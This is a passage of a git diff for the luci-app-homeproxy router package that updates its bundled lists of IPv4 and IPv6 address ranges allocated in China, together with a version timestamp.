-218.104.0.0/15 -218.106.0.0/16 -218.107.0.0/18 -218.107.128.0/17 +218.100.96.0/19 +218.100.128.0/17 +218.104.0.0/14 218.108.0.0/15 -218.185.240.0/21 +218.185.192.0/19 +218.185.240.0/24 +218.185.242.0/24 +218.185.244.0/24 +218.185.246.0/23 218.192.0.0/12 -218.213.85.0/24 -218.240.0.0/19 -218.240.128.0/19 -218.240.160.0/21 -218.240.168.0/24 -218.240.176.0/20 -218.241.16.0/21 -218.241.96.0/20 -218.241.112.0/22 -218.241.116.0/23 -218.241.118.0/24 -218.241.121.0/24 -218.241.122.0/23 -218.241.124.0/22 -218.241.128.0/17 -218.242.0.0/16 -218.244.0.0/19 -218.244.44.0/22 -218.244.49.0/24 -218.244.52.0/23 -218.244.55.0/24 -218.244.56.0/23 -218.244.58.0/24 -218.244.128.0/18 -218.244.192.0/20 -218.244.224.0/19 -218.245.0.0/17 -218.246.0.0/19 -218.246.32.0/22 -218.246.48.0/22 -218.246.64.0/18 -218.246.160.0/19 -218.246.192.0/19 +218.240.0.0/14 +218.244.0.0/15 +218.246.0.0/16 218.247.0.0/18 -218.247.64.0/19 +218.247.96.0/19 218.247.128.0/17 218.249.0.0/16 219.72.0.0/16 219.82.0.0/16 -219.83.160.0/19 -219.100.148.0/22 -219.117.16.0/20 -219.128.0.0/12 -219.144.0.0/14 -219.148.0.0/15 -219.150.0.0/16 -219.151.0.0/18 -219.151.128.0/17 -219.152.0.0/14 -219.156.0.0/15 -219.158.0.0/19 -219.158.32.0/20 -219.158.58.0/23 -219.158.60.0/22 -219.158.96.0/19 -219.158.128.0/17 -219.159.0.0/16 +219.83.128.0/17 +219.90.68.0/22 +219.90.72.0/21 +219.128.0.0/11 219.216.0.0/13 219.224.0.0/13 -219.232.0.0/17 -219.232.144.0/24 -219.232.160.0/19 -219.232.192.0/19 -219.233.0.0/16 -219.234.0.0/21 -219.234.16.0/20 -219.234.80.0/20 -219.234.96.0/19 +219.232.0.0/15 +219.234.10.0/23 +219.234.12.0/22 +219.234.32.0/19 +219.234.64.0/18 219.234.128.0/17 -219.235.0.0/20 -219.235.32.0/19 -219.235.64.0/18 -219.235.128.0/19 -219.235.164.0/23 -219.235.192.0/23 -219.235.207.0/24 -219.235.224.0/22 -219.235.228.0/23 -219.235.233.0/24 -219.235.234.0/24 -219.235.237.0/24 -219.235.251.0/24 -219.235.252.0/24 -219.235.255.0/24 +219.235.0.0/16 219.236.0.0/14 219.242.0.0/15 219.244.0.0/14 -220.101.192.0/19 -220.112.0.0/22 -220.112.8.0/24 -220.112.40.0/21 -220.112.50.0/23 -220.112.52.0/23 -220.112.54.0/24 -220.112.194.0/24 -220.112.196.0/24 -220.112.200.0/21 -220.113.0.0/19 -220.113.32.0/20 -220.113.96.0/21 -220.113.150.0/23 -220.113.152.0/23 -220.113.154.0/24 -220.114.250.0/23 -220.154.0.0/20 -220.154.16.0/22 -220.154.64.0/20 -220.154.80.0/22 -220.154.128.0/20 -220.154.147.0/24 -220.160.0.0/12 -220.176.0.0/14 -220.180.0.0/16 -220.181.0.0/17 -220.181.128.0/20 -220.181.144.0/24 -220.181.148.0/22 -220.181.152.0/21 -220.181.160.0/19 -220.182.0.0/18 -220.184.0.0/13 -220.192.0.0/16 -220.193.0.0/17 -220.194.0.0/16 -220.195.0.0/17 -220.195.128.0/19 -220.195.192.0/18 -220.196.0.0/16 -220.197.0.0/17 -220.197.160.0/19 -220.197.192.0/18 -220.198.0.0/15 -220.200.0.0/17 -220.200.128.0/20 -220.200.148.0/22 -220.200.152.0/21 -220.200.160.0/19 -220.200.192.0/18 -220.201.0.0/16 -220.202.0.0/16 -220.203.0.0/17 -220.203.128.0/18 -220.203.216.0/23 -220.203.224.0/19 -220.205.0.0/16 -220.206.192.0/22 -220.207.0.0/22 -220.207.80.0/20 -220.207.176.0/22 -220.207.184.0/22 -220.207.254.0/23 -220.231.32.0/20 +220.101.192.0/18 +220.112.0.0/14 +220.152.128.0/17 +220.154.0.0/15 +220.158.240.0/22 +220.160.0.0/13 +220.168.0.0/14 +220.172.0.0/15 +220.174.0.0/20 +220.174.16.0/21 +220.174.24.0/23 +220.174.28.0/22 +220.174.32.0/19 +220.174.64.0/20 +220.174.80.0/21 +220.174.88.0/22 +220.174.92.0/23 +220.174.96.0/19 +220.174.128.0/17 +220.175.0.0/16 +220.176.0.0/12 +220.192.0.0/12 +220.231.0.0/18 220.231.128.0/17 220.232.64.0/18 220.234.0.0/16 -220.242.180.0/24 -220.243.128.0/20 -220.243.153.0/24 -220.243.154.0/23 -220.243.156.0/23 -220.243.158.0/24 -220.243.176.0/20 -220.248.0.0/16 -220.249.0.0/17 -220.249.128.0/18 -220.249.192.0/19 -220.249.240.0/20 -220.250.0.0/17 +220.242.0.0/22 +220.242.4.0/23 +220.242.6.0/24 +220.242.8.0/21 +220.242.16.0/20 +220.242.32.0/19 +220.242.64.0/18 +220.242.128.0/17 +220.243.0.0/16 +220.247.136.0/23 +220.247.142.0/23 +220.248.0.0/14 +220.252.0.0/16 221.0.0.0/13 221.8.0.0/14 221.12.0.0/17 221.12.128.0/18 221.13.0.0/16 221.14.0.0/15 -221.122.0.0/16 -221.123.0.0/24 -221.123.112.0/20 -221.123.128.0/17 +221.122.0.0/15 +221.128.132.0/22 +221.128.136.0/21 +221.128.144.0/20 +221.128.160.0/19 +221.128.192.0/23 +221.128.194.0/24 +221.128.196.0/22 +221.128.200.0/21 +221.128.208.0/20 +221.128.224.0/21 +221.128.232.0/22 +221.128.238.0/23 221.129.0.0/16 221.130.0.0/15 -221.133.225.0/24 -221.133.226.0/24 -221.133.228.0/22 -221.133.232.0/23 -221.133.235.0/24 -221.133.244.0/23 -221.137.0.0/16 -221.174.0.0/17 +221.133.224.0/19 +221.136.0.0/15 +221.172.0.0/14 221.176.0.0/13 221.192.0.0/14 221.196.0.0/15 @@ -3959,37 +6190,10 @@ 221.208.0.0/12 221.224.0.0/12 222.16.0.0/12 -222.35.0.0/16 -222.42.115.0/24 -222.44.0.0/15 -222.49.128.0/17 -222.50.0.0/16 -222.59.128.0/17 +222.32.0.0/11 222.64.0.0/11 222.125.0.0/16 -222.126.128.0/22 -222.126.132.0/23 -222.126.134.0/24 -222.126.138.0/23 -222.126.140.0/22 -222.126.144.0/24 -222.126.146.0/23 -222.126.148.0/22 -222.126.152.0/21 -222.126.160.0/20 -222.126.176.0/21 -222.126.184.0/22 -222.126.188.0/23 -222.126.192.0/22 -222.126.196.0/23 -222.126.200.0/22 -222.126.208.0/23 -222.126.212.0/22 -222.126.216.0/23 -222.126.228.0/23 -222.126.234.0/23 -222.126.236.0/22 -222.126.240.0/20 +222.126.128.0/17 222.128.0.0/12 222.160.0.0/14 222.168.0.0/13 @@ -3997,76 +6201,46 @@ 222.192.0.0/11 222.240.0.0/13 222.248.0.0/15 -223.0.1.0/24 -223.0.2.0/24 -223.0.8.0/22 -223.0.12.0/23 -223.0.15.0/24 -223.0.16.0/24 -223.0.30.0/24 -223.0.41.0/24 -223.0.126.0/24 -223.2.0.0/15 -223.4.0.0/14 -223.8.0.0/13 -223.26.0.0/24 +223.0.0.0/12 +223.20.0.0/15 223.27.184.0/22 -223.64.0.0/10 +223.29.208.0/22 +223.29.252.0/24 +223.29.255.0/24 +223.64.0.0/11 +223.96.0.0/12 +223.112.0.0/14 +223.116.0.0/15 +223.121.128.0/17 +223.122.4.0/22 +223.122.12.0/22 +223.122.18.0/23 +223.122.20.0/22 +223.122.26.0/23 +223.122.28.0/22 +223.123.196.0/22 +223.123.204.0/22 +223.123.208.0/20 +223.123.224.0/19 +223.124.0.0/14 223.128.0.0/15 223.144.0.0/12 -223.160.0.0/20 -223.160.16.0/21 -223.160.112.0/20 -223.160.128.0/22 -223.160.134.0/23 -223.160.136.0/21 -223.160.144.0/20 -223.160.160.0/19 -223.160.192.0/19 -223.160.224.0/21 -223.160.232.0/22 -223.160.236.0/23 -223.161.194.0/23 -223.161.196.0/22 -223.161.200.0/21 -223.161.208.0/20 -223.161.224.0/19 -223.165.10.0/24 -223.165.12.0/24 -223.165.80.0/20 +223.160.0.0/14 223.166.0.0/15 223.192.0.0/15 223.198.0.0/15 -223.202.0.0/24 -223.202.67.0/24 -223.202.131.0/24 -223.202.132.0/24 -223.202.135.0/24 -223.202.211.0/24 -223.202.212.0/24 -223.203.3.0/24 -223.203.9.0/24 -223.203.96.0/24 -223.203.100.0/24 -223.210.0.0/19 -223.210.48.0/22 -223.212.0.0/14 +223.201.0.0/16 +223.202.0.0/15 +223.208.0.0/13 223.220.0.0/15 223.223.176.0/20 223.223.192.0/20 223.240.0.0/13 223.248.0.0/14 -223.252.194.0/24 -223.252.196.0/24 -223.252.199.0/24 -223.252.200.0/23 -223.252.202.0/24 -223.252.205.0/24 -223.252.209.0/24 -223.252.210.0/23 -223.252.212.0/24 -223.252.214.0/23 -223.252.221.0/24 -223.252.222.0/24 +223.252.128.0/17 +223.254.0.0/17 +223.254.160.0/19 +223.254.192.0/18 +223.255.0.0/17 223.255.236.0/22 223.255.252.0/23 diff --git a/luci-app-homeproxy/root/etc/homeproxy/resources/china_ip4.ver b/luci-app-homeproxy/root/etc/homeproxy/resources/china_ip4.ver index d287692cc..5d7e941a2 100644 --- a/luci-app-homeproxy/root/etc/homeproxy/resources/china_ip4.ver +++ b/luci-app-homeproxy/root/etc/homeproxy/resources/china_ip4.ver @@ -1 +1 @@ -20260811040949 +202609130005 diff --git a/luci-app-homeproxy/root/etc/homeproxy/resources/china_ip6.txt b/luci-app-homeproxy/root/etc/homeproxy/resources/china_ip6.txt index 09ff972ac..89e8c696c 100644 --- a/luci-app-homeproxy/root/etc/homeproxy/resources/china_ip6.txt +++ b/luci-app-homeproxy/root/etc/homeproxy/resources/china_ip6.txt @@ -1,6 +1,7 @@ 2001:250::/30 -2001:254::/31 -2001:256:100::/48 +2001:254::/33 +2001:255::/32 +2001:7fa:5::/48 2001:c68::/32 2001:cc0::/32 2001:da8::/32 @@ -9,38 +10,251 @@ 2001:daa:4::/47 2001:daa:6::/48 2001:daa:9::/48 -2001:dc7::/32 +2001:dc7::/45 +2001:dc7:9::/48 +2001:dc7:a::/47 +2001:dc7:c::/46 +2001:dc7:10::/44 +2001:dc7:20::/43 +2001:dc7:40::/42 +2001:dc7:80::/41 +2001:dc7:100::/40 +2001:dc7:200::/39 +2001:dc7:400::/38 +2001:dc7:800::/37 +2001:dc7:1000::/36 +2001:dc7:2000::/35 +2001:dc7:4000::/34 +2001:dc7:8000::/33 2001:dd8:1::/48 2001:dd9::/48 -2001:df6:40::/48 2001:4510:400::/40 +2001:4510:1480::/41 +2001:4511:1480::/41 +2400:1040::/32 2400:1160::/32 +2400:12c0::/32 +2400:1340::/32 +2400:1380::/32 +2400:15c0::/32 +2400:1640::/32 +2400:16c0::/32 +2400:1740::/32 +2400:17c0::/32 +2400:1840::/32 +2400:18c0::/32 +2400:1940::/32 +2400:19a0::/32 +2400:19c0::/32 +2400:1a40::/32 +2400:1ac0::/32 +2400:1b40::/32 +2400:1cc0::/32 +2400:1d40::/32 +2400:1dc0::/32 +2400:1e40::/32 +2400:1ec0::/32 +2400:1f40::/32 +2400:1fc0::/32 +2400:3040::/32 +2400:3140::/32 +2400:3160::/32 +2400:31c0::/32 2400:3200::/32 -2400:5280:f803::/48 +2400:32c0::/32 +2400:3340::/32 +2400:33c0::/32 +2400:3440::/32 +2400:34c0::/32 +2400:3540::/32 +2400:35c0::/32 +2400:3600::/32 +2400:3640::/32 +2400:3660::/32 +2400:36c0::/32 +2400:38c0::/32 +2400:39c0::/32 +2400:3a00::/32 +2400:3a40::/32 +2400:3b40::/32 +2400:3c40::/32 +2400:3cc0::/32 +2400:3e00::/32 +2400:3f40::/32 +2400:3f60::/46 +2400:3f60:5::/48 +2400:3f60:6::/47 +2400:3f60:8::/45 +2400:3f60:13::/48 +2400:3f60:14::/46 +2400:3f60:18::/45 +2400:3f60:20::/43 +2400:3f60:40::/42 +2400:3f60:80::/41 +2400:3f60:100::/40 +2400:3f60:200::/39 +2400:3f60:400::/38 +2400:3f60:800::/37 +2400:3f60:1000::/36 +2400:3f60:2000::/35 +2400:3f60:4000::/34 +2400:3f60:8000::/33 +2400:3fc0::/32 +2400:4440::/32 +2400:44c0::/32 +2400:4540::/32 +2400:4600::/32 +2400:4640::/32 +2400:46c0::/32 +2400:4920::/32 +2400:4bc0::/32 +2400:4e00::/32 +2400:4e40::/32 +2400:5080::/32 +2400:5280:1400::/38 +2400:5280:1c00::/38 +2400:5280:3400::/38 +2400:5280:4c00::/38 +2400:5280:5000::/36 +2400:5280:6000::/35 +2400:5280:8000::/34 +2400:5280:c000::/35 +2400:5280:e000::/36 +2400:5280:f000::/37 +2400:5280:f800::/38 +2400:5400::/32 +2400:5580::/32 +2400:55c0::/32 +2400:55e0::/32 +2400:5600::/32 +2400:5640::/32 +2400:56c0::/32 +2400:57c0::/32 +2400:5840::/32 2400:5a00::/32 +2400:5a40::/32 +2400:5a60::/41 +2400:5a60:80::/42 +2400:5a60:c0::/43 +2400:5a60:e0::/44 +2400:5a60:f0::/45 +2400:5a60:f8::/46 +2400:5a60:fc::/47 +2400:5a60:fe::/48 +2400:5a60:100::/40 +2400:5a60:200::/39 +2400:5a60:400::/38 +2400:5a60:800::/37 +2400:5a60:1000::/36 +2400:5a60:2000::/35 +2400:5a60:4000::/34 +2400:5a60:8001::/48 +2400:5a60:8002::/47 +2400:5a60:8004::/46 +2400:5a60:8008::/45 +2400:5a60:8010::/44 +2400:5a60:8020::/43 +2400:5a60:8040::/42 +2400:5a60:8080::/41 +2400:5a60:8100::/40 +2400:5a60:8200::/39 +2400:5a60:8400::/38 +2400:5a60:8800::/37 +2400:5a60:9000::/36 +2400:5a60:a000::/35 +2400:5a60:c000::/34 +2400:5ac0::/32 +2400:5b40::/32 +2400:5bc0::/32 +2400:5c40::/32 +2400:5c80::/32 +2400:5cc0::/32 +2400:5e20::/32 +2400:5e80::/32 +2400:5ee0::/32 +2400:5fc0::/32 2400:6000::/32 +2400:6040::/32 +2400:60c0::/32 +2400:61c0::/32 +2400:6200::/32 2400:6600::/32 -2400:6e60:1301::/48 -2400:75aa::/32 -2400:7fc0::/40 -2400:7fc0:220::/44 -2400:7fc0:240::/44 -2400:7fc0:2a0::/44 -2400:7fc0:2c0::/44 -2400:7fc0:4000::/40 -2400:7fc0:4100::/48 -2400:7fc0:6000::/40 -2400:7fc0:8000::/36 -2400:7fc0:a000::/36 -2400:7fc0:bb00::/40 -2400:7fc0:c000::/36 -2400:8200::/32 -2400:89c0:1010::/44 -2400:89c0:1050::/46 -2400:89c0:1150::/48 -2400:89c0:6000::/48 +2400:6640::/32 +2400:66a0::/32 +2400:66c0::/32 +2400:66e0::/32 +2400:6740::/32 +2400:67a0::/32 +2400:67c0::/32 +2400:6840::/32 +2400:68c0::/32 +2400:6940::/32 +2400:69c0::/32 +2400:6a00::/32 +2400:6a40::/32 +2400:6ac0::/32 +2400:6b40::/32 +2400:6bc0::/32 +2400:6c40::/32 +2400:6cc0::/32 +2400:6d40::/32 +2400:6da0::/32 +2400:6dc0::/32 +2400:6e00::/32 +2400:6e40::/32 +2400:6e60::/32 +2400:6ec0::/32 +2400:6f40::/32 +2400:6f80::/32 +2400:6fc0::/32 +2400:7040::/32 +2400:70a0::/32 +2400:7100::/32 +2400:7140::/32 +2400:71c0::/32 +2400:7200::/32 +2400:7240::/32 +2400:72c0::/32 +2400:7340::/32 +2400:73c0::/32 +2400:73e0::/32 +2400:7440::/32 +2400:74c0::/32 +2400:7540::/32 +2400:75a0::/28 +2400:75c0::/32 +2400:7640::/32 +2400:7680::/32 +2400:76c0::/32 +2400:7740::/32 +2400:77c0::/32 +2400:79c0::/32 +2400:7ae0::/32 +2400:7bc0::/32 +2400:7f80::/32 +2400:7fc0::/32 +2400:8080::/32 +2400:8200::/31 +2400:82c0::/32 +2400:8580::/32 +2400:8600::/32 +2400:86a0::/32 +2400:86e0::/32 +2400:8780::/32 +2400:87c0::/32 +2400:8840::/32 +2400:8920::/32 +2400:8980::/32 +2400:89c0::/32 +2400:8be0::/32 +2400:8ce0::/32 +2400:8e00::/32 +2400:8e60::/32 +2400:8f00::/32 +2400:8f60::/32 2400:8fc0::/32 -2400:9020:f010::/46 +2400:9020::/32 +2400:9040::/32 2400:9380:8001::/48 2400:9380:8003::/48 2400:9380:8021::/48 @@ -69,887 +283,2918 @@ 2400:9380:92b1::/48 2400:9380:92b2::/47 2400:9380:92b4::/46 -2400:95e0::/48 -2400:9600:8800::/48 +2400:93e0::/32 +2400:9520::/32 +2400:9580::/32 +2400:95c0::/32 +2400:95e0::/32 +2400:9600::/32 2400:9620::/32 -2400:a860:1::/48 -2400:a860:2::/47 -2400:a860:4::/47 -2400:a860:6::/48 +2400:98c0::/32 +2400:9960::/32 +2400:99e0::/32 +2400:9a00::/32 +2400:9ca0::/32 +2400:9e00::/32 +2400:a320::/32 +2400:a380::/32 +2400:a420::/32 +2400:a480::/32 +2400:a5a0::/32 +2400:a6a0::/39 +2400:a6a0:300::/40 +2400:a6a0:400::/38 +2400:a6a0:800::/37 +2400:a6a0:1000::/36 +2400:a6a0:2000::/35 +2400:a6a0:4000::/34 +2400:a6a0:8000::/33 +2400:a780::/32 +2400:a860::/32 +2400:a8a0::/32 +2400:a8c0::/32 +2400:a900::/32 2400:a980::/29 -2400:ae00:1981::/48 +2400:a9a0::/32 +2400:abc0::/32 +2400:ae00::/32 2400:b200::/32 +2400:b500::/32 2400:b600::/32 -2400:b620::/48 -2400:b700::/48 -2400:be00::/48 -2400:cb80:e2e::/47 -2400:cb80:e30::/44 -2400:cb80:e40::/44 +2400:b620::/32 +2400:b6c0::/32 +2400:b700::/32 +2400:b9a0::/32 +2400:b9c0::/32 +2400:ba00::/32 +2400:be00::/32 +2400:bf00::/32 +2400:c200::/32 +2400:c380::/32 +2400:c840::/32 +2400:c8c0::/32 +2400:c940::/32 +2400:c9c0::/32 +2400:ca40::/32 +2400:cac0::/32 +2400:cb40::/32 +2400:cb80::/33 +2400:cb80:8000::/40 +2400:cb80:8100::/43 +2400:cb80:8120::/44 +2400:cb80:8130::/45 +2400:cb80:8138::/47 +2400:cb80:813a::/48 +2400:cb80:813c::/47 +2400:cb80:813e::/48 +2400:cb80:8140::/42 +2400:cb80:8180::/41 +2400:cb80:8200::/39 +2400:cb80:8400::/38 +2400:cb80:8800::/37 +2400:cb80:9000::/36 +2400:cb80:a000::/35 +2400:cb80:c000::/34 +2400:cbc0::/32 +2400:cc40::/32 +2400:cc80::/32 +2400:ccc0::/32 +2400:cd40::/32 +2400:cda0::/32 +2400:cdc0::/32 +2400:ce00::/32 +2400:ce40::/32 +2400:cf40::/32 +2400:cfc0::/32 +2400:d0a0::/32 +2400:d0c0::/32 +2400:d100::/32 +2400:d160::/32 +2400:d1c0::/32 +2400:d200::/32 +2400:d300::/32 +2400:d440::/32 +2400:d600::/32 +2400:d6a0::/32 +2400:d6c0::/32 +2400:d720::/32 +2400:d780::/32 +2400:d7a0::/32 2400:da00::/32 +2400:da60::/32 2400:dd00::/28 -2400:ee00:ffec::/46 -2400:ee00:fff0::/44 +2400:dd40::/32 +2400:dda0::/32 +2400:de00::/32 +2400:de80::/32 +2400:dee0::/32 +2400:e0c0::/32 +2400:e680::/32 +2400:e7e0::/32 +2400:e880::/32 +2400:ebc0::/32 +2400:ed60::/32 +2400:eda0::/32 +2400:edc0::/32 +2400:ee00::/32 +2400:eec0::/32 +2400:ef40::/32 +2400:f480::/32 +2400:f5c0::/32 2400:f6e0::/32 2400:f720::/32 +2400:f7c0::/32 +2400:f840::/32 +2400:f860::/32 +2400:f980::/32 +2400:fac0::/32 +2400:fb40::/32 +2400:fb60::/32 +2400:fbc0::/32 +2400:fc40::/32 +2400:fcc0::/32 2400:fe00::/32 +2401:20:100::/40 +2401:20:200::/39 +2401:20:400::/38 +2401:20:800::/37 +2401:20:1000::/39 +2401:20:1200::/40 +2401:20:1300::/43 +2401:20:1320::/44 +2401:20:1334::/46 +2401:20:1338::/45 +2401:20:1340::/42 +2401:20:1380::/41 +2401:20:1400::/38 +2401:20:1800::/37 +2401:20:2000::/40 +2401:20:2100::/46 +2401:20:2108::/45 +2401:20:2110::/44 +2401:20:2120::/43 +2401:20:2140::/42 +2401:20:2180::/41 +2401:20:2200::/39 +2401:20:2400::/38 +2401:20:2800::/37 +2401:20:3000::/36 +2401:20:4000::/34 +2401:20:8000::/33 +2401:60::/32 +2401:80::/32 +2401:140::/32 +2401:1c0::/32 +2401:540::/32 +2401:620::/32 +2401:7c0::/32 2401:800::/32 +2401:9c0::/32 +2401:a00::/32 +2401:a40::/32 +2401:ac0::/32 +2401:b40::/32 +2401:ba0::/32 +2401:bc0::/32 +2401:c40::/32 +2401:cc0::/32 +2401:d40::/32 +2401:e00::/32 +2401:1000::/32 2401:1160::/32 +2401:11c0::/32 +2401:1200::/32 +2401:12c0::/32 2401:1320::/32 +2401:15c0::/32 +2401:18c0::/32 +2401:18e0::/28 +2401:1940::/32 +2401:19c0::/32 +2401:1a40::/32 +2401:1ac0::/32 +2401:1c60::/32 +2401:1ce0::/32 2401:1d40::/32 +2401:1da0::/32 +2401:1dc0::/32 +2401:1de0::/32 +2401:1e00::/32 +2401:1ec0::/32 +2401:1f40::/32 +2401:2040::/32 +2401:2080::/32 +2401:23c0::/32 +2401:2600::/32 +2401:2780::/32 +2401:2980::/32 2401:2a00:f000::/43 +2401:2b40::/32 2401:2e00::/32 -2401:3480::/36 -2401:3480:2000::/48 -2401:3480:3000::/36 +2401:2e20::/32 +2401:3100::/32 +2401:3380::/32 +2401:33c0::/32 +2401:3440::/32 +2401:3480::/32 2401:34a0::/31 +2401:34c0::/32 +2401:3640::/32 +2401:3780::/32 2401:3800::/32 -2401:5c20:10::/48 -2401:71c0::/48 -2401:7660::/48 +2401:3880::/32 +2401:3980::/32 +2401:3a00::/32 +2401:3a80::/32 +2401:3b80::/32 +2401:3c20::/32 +2401:3c80::/32 +2401:3d80::/32 +2401:3e80::/32 +2401:3f80::/32 +2401:4080::/32 +2401:4180::/32 +2401:4280::/32 +2401:4380::/32 +2401:4480::/32 +2401:4580::/32 +2401:4680::/32 +2401:4780::/32 +2401:4880::/32 +2401:4a80::/32 +2401:4b00::/32 +2401:4f80::/32 +2401:5680::/32 +2401:58a0::/32 +2401:59c0::/32 +2401:5b40::/32 +2401:5c20::/32 +2401:5c60::/32 +2401:5c80::/32 +2401:5fa0::/32 +2401:70e0::/32 +2401:7180::/32 +2401:71c0::/32 +2401:7240::/32 +2401:7320::/32 +2401:7360::/32 +2401:73a0::/32 +2401:7580::/32 +2401:7660::/32 +2401:7680::/32 +2401:7700::/32 +2401:7780::/32 +2401:77e0::/32 +2401:7820::/32 +2401:7880::/32 +2401:78e0::/32 +2401:7980::/32 +2401:7a00::/32 +2401:7a80::/32 +2401:7b80::/32 +2401:7bc0::/32 +2401:7c80::/32 +2401:7cc0::/32 +2401:7ce0::/32 +2401:7d40::/32 +2401:7d80::/32 2401:7e00::/32 -2401:8be0::/48 -2401:9a00::/44 -2401:9a00:10::/46 -2401:a140:1::/48 +2401:7f80::/32 +2401:8200::/32 +2401:82c0::/32 +2401:8380::/32 +2401:8540::/32 +2401:8600::/32 +2401:8680::/34 +2401:8680:4000::/46 +2401:8680:4008::/45 +2401:8680:4010::/44 +2401:8680:4020::/43 +2401:8680:4040::/42 +2401:8680:4080::/41 +2401:8680:4103::/48 +2401:8680:4104::/46 +2401:8680:4108::/45 +2401:8680:4110::/44 +2401:8680:4120::/43 +2401:8680:4140::/42 +2401:8680:4180::/41 +2401:8680:4200::/39 +2401:8680:4400::/38 +2401:8680:4800::/37 +2401:8680:5000::/36 +2401:8680:6000::/35 +2401:8680:8000::/33 +2401:8720::/32 +2401:87e0::/32 +2401:8820::/31 +2401:8840::/32 +2401:8be0::/32 +2401:8d00::/47 +2401:8d00:3::/48 +2401:8d00:4::/46 +2401:8d00:8::/45 +2401:8d00:10::/46 +2401:8d00:17::/48 +2401:8d00:18::/45 +2401:8d00:20::/43 +2401:8d00:40::/42 +2401:8d00:80::/41 +2401:8d00:100::/40 +2401:8d00:200::/39 +2401:8d00:400::/38 +2401:8d00:800::/37 +2401:8d00:1000::/36 +2401:8d00:2000::/35 +2401:8d00:4000::/34 +2401:8d00:8000::/33 +2401:8da0::/32 +2401:8f40::/32 +2401:8fc0::/32 +2401:90a0::/32 +2401:9260::/32 +2401:92a0::/32 +2401:92e0::/32 +2401:9340::/32 +2401:95e0::/32 +2401:9600::/32 +2401:96c0::/32 +2401:96e0::/32 +2401:9720::/32 +2401:9740::/32 +2401:97a0::/32 +2401:98c0::/32 +2401:9a00::/32 +2401:9ac0::/32 +2401:9b20::/31 +2401:9b40::/32 +2401:9b60::/32 +2401:9bc0::/32 +2401:9ca0::/32 +2401:9d20::/32 +2401:9dc0::/32 +2401:9e20::/32 +2401:9e40::/32 +2401:9f80::/32 +2401:9fa0::/32 +2401:a140::/32 +2401:a2e0::/32 +2401:a340::/32 +2401:a3a0::/32 +2401:a3c0::/32 +2401:a4c0::/32 +2401:a4e0::/32 +2401:a540::/32 +2401:a5c0::/32 +2401:a620::/32 +2401:a640::/32 +2401:a6e0::/32 +2401:a720::/32 +2401:a940::/32 +2401:a980::/32 +2401:a9a0::/32 +2401:aa00::/32 +2401:aa20::/32 +2401:aa40::/32 +2401:ab60::/32 +2401:aba0::/32 +2401:acc0::/32 +2401:ad40::/32 +2401:adc0::/32 +2401:afa0::/32 +2401:b040::/32 2401:b180::/32 -2401:b400::/45 -2401:b400:8::/47 -2401:b400:11::/48 -2401:b400:14::/48 -2401:b400:16::/47 -2401:b400:20::/47 +2401:b220::/32 +2401:b340::/32 +2401:b360::/32 +2401:b400::/32 +2401:b4c0::/32 +2401:b4e0::/32 +2401:b540::/32 +2401:b580::/32 +2401:b5a0::/32 +2401:b600::/32 2401:b680::/32 +2401:b6c0::/32 +2401:b6e0::/32 +2401:b7c0::/32 +2401:b940::/32 +2401:ba00::/32 +2401:ba40::/32 +2401:bb20::/32 +2401:bc60::/31 +2401:bda0::/32 2401:be00::/32 -2401:c020:6::/48 -2401:c020:8::/47 -2401:c020:14::/48 +2401:bf20::/32 +2401:c020::/32 +2401:c200::/32 +2401:c540::/32 +2401:c600::/32 +2401:c640::/32 +2401:c6c0::/32 +2401:c840::/32 +2401:c8c0::/32 +2401:ca00::/32 +2401:ca20::/32 2401:cb80::/32 +2401:cbe0::/32 2401:cc00::/32 +2401:cc60::/32 2401:ce00::/32 -2401:d0e0:3::/48 -2401:d920::/48 +2401:cf40::/32 +2401:cfc0::/32 +2401:cfe0::/32 +2401:d060::/32 +2401:d0c0::/32 +2401:d0e0::/32 +2401:d140::/32 +2401:d180::/32 +2401:d2c0::/32 +2401:d340::/32 +2401:d420::/32 +2401:d780::/32 +2401:d7e0::/32 +2401:d8e0::/32 +2401:d920::/28 +2401:da00::/32 +2401:dbe0::/32 +2401:dd20::/32 +2401:dd60::/32 2401:de00::/32 +2401:dfe0::/32 +2401:e020::/32 +2401:e080::/32 +2401:e0c0::/32 +2401:e140::/32 +2401:e240::/32 +2401:e2c0::/32 +2401:e340::/32 +2401:e360::/32 +2401:e620::/32 +2401:e840::/32 +2401:e8c0::/32 +2401:e940::/32 +2401:e9c0::/32 2401:ec00::/32 -2401:fa00:40::/48 -2402:840:d000::/46 -2402:840:e000::/46 -2402:840:f000::/38 -2402:c60::/48 +2401:ec40::/32 +2401:f0a0::/32 +2401:f0e0::/32 +2401:f220::/32 +2401:f300::/32 +2401:f320::/32 +2401:f3e0::/32 +2401:f7c0::/32 +2401:f860::/46 +2401:f860:4::/47 +2401:f860:6::/48 +2401:f860:8::/47 +2401:f860:a::/48 +2401:f860:c::/46 +2401:f860:10::/44 +2401:f860:20::/43 +2401:f860:40::/42 +2401:f860:80::/45 +2401:f860:89::/48 +2401:f860:8a::/47 +2401:f860:8c::/46 +2401:f860:91::/48 +2401:f860:95::/48 +2401:f860:96::/48 +2401:f860:98::/45 +2401:f860:a0::/43 +2401:f860:c0::/43 +2401:f860:e0::/44 +2401:f860:f0::/46 +2401:f860:f4::/47 +2401:f860:f7::/48 +2401:f860:f8::/45 +2401:f860:200::/39 +2401:f860:400::/38 +2401:f860:800::/37 +2401:f860:1000::/36 +2401:f860:2000::/35 +2401:f860:4000::/34 +2401:f860:8000::/33 +2401:fa80::/32 +2401:fb80::/32 +2401:fc60::/32 +2401:fc80::/32 +2401:ffc0::/32 +2402:440::/32 +2402:5c0::/32 +2402:840::/32 +2402:a60::/32 +2402:c20::/32 +2402:c60::/32 +2402:e00::/32 +2402:fc0::/32 +2402:1000::/32 +2402:1160::/32 2402:1440::/32 +2402:14c0::/32 +2402:1520::/32 +2402:1600::/32 +2402:16e0::/32 +2402:1740::/32 +2402:18a0::/32 +2402:19c0::/32 +2402:1be0::/32 +2402:1c20::/32 +2402:1f80::/32 2402:2000::/32 -2402:36e0::/44 +2402:20e0::/33 +2402:20e0:8000::/34 +2402:20e0:c000::/35 +2402:20e0:e000::/36 +2402:20e0:f001::/48 +2402:20e0:f002::/47 +2402:20e0:f004::/46 +2402:20e0:f008::/45 +2402:20e0:f010::/44 +2402:20e0:f020::/43 +2402:20e0:f040::/42 +2402:20e0:f080::/41 +2402:20e0:f100::/40 +2402:20e0:f200::/39 +2402:20e0:f400::/38 +2402:20e0:f800::/37 +2402:2280::/32 +2402:2440::/32 +2402:24c0::/32 +2402:2540::/32 +2402:2620::/32 +2402:2640::/32 +2402:2760::/32 +2402:2a00::/32 +2402:2b80::/32 +2402:2bc0::/32 +2402:2ca0::/32 +2402:2d00::/32 